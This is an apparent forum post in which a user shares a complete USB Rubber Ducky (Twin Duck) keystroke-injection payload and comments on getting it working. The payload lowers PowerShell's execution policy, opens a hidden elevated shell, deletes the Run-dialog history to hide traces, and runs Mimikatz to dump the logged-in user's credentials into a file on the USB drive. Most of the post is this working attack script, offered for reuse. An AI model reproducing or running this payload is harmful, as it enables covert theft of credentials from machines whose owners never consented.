Zereco

Hey Guys, Awesome .. ! After 3 hours and so much things learned, it's finally running properly !! :) (Twin duck) Here the full payload, there's an ESC to close the autorun windows + set-executionpolicy remotesigned to allow running scripts on the system + ALT F4 at the end to close windows. DELAY 3000 ESC DELAY 500 GUI r DELAY 1000 STRING powershell DELAY 300 ENTER DELAY 300 STRING set-executionpolicy remotesigned DELAY 300 ENTER DELAY 300 STRING o DELAY 300 ENTER DELAY 300 STRING exit DELAY 300 ENTER DELAY 500 GUI r DELAY 300 STRING powershell -NoP -NonI -W Hidden -Exec Bypass "Start-Process cmd -A '/t:fe /k mode con lines=40 cols=160&reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f' -Verb runAs" DELAY 500 ENTER DELAY 1000 STRING for /f %d in ('wmic volume get driveletter^, label^|findstr "DUCKY"') do @set DUCKY=%d DELAY 300 ENTER DELAY 1000 STRING if exist %DUCKY%\mimi.ps1 powershell -NoP -NonI -W Hidden -Exec Bypass "Import-Module %DUCKY%\mimi.ps1;Invoke-Mimikatz -DumpCreds|Out-File '%DUCKY%\%computername%_creds.txt';" DELAY 300 ENTER DELAY 300 ALT F4 Still, it needs 5-10 sec to writte the log file. Something else : Here : https://ducktoolkit.com/encoder/ We need apparently to wipe out the cache of the browser or smth like that, cause when u encode, seems to encode the first payload you already encoded before .. (Am i clear :p ?) Or it's just a bad move from me. Cheers guys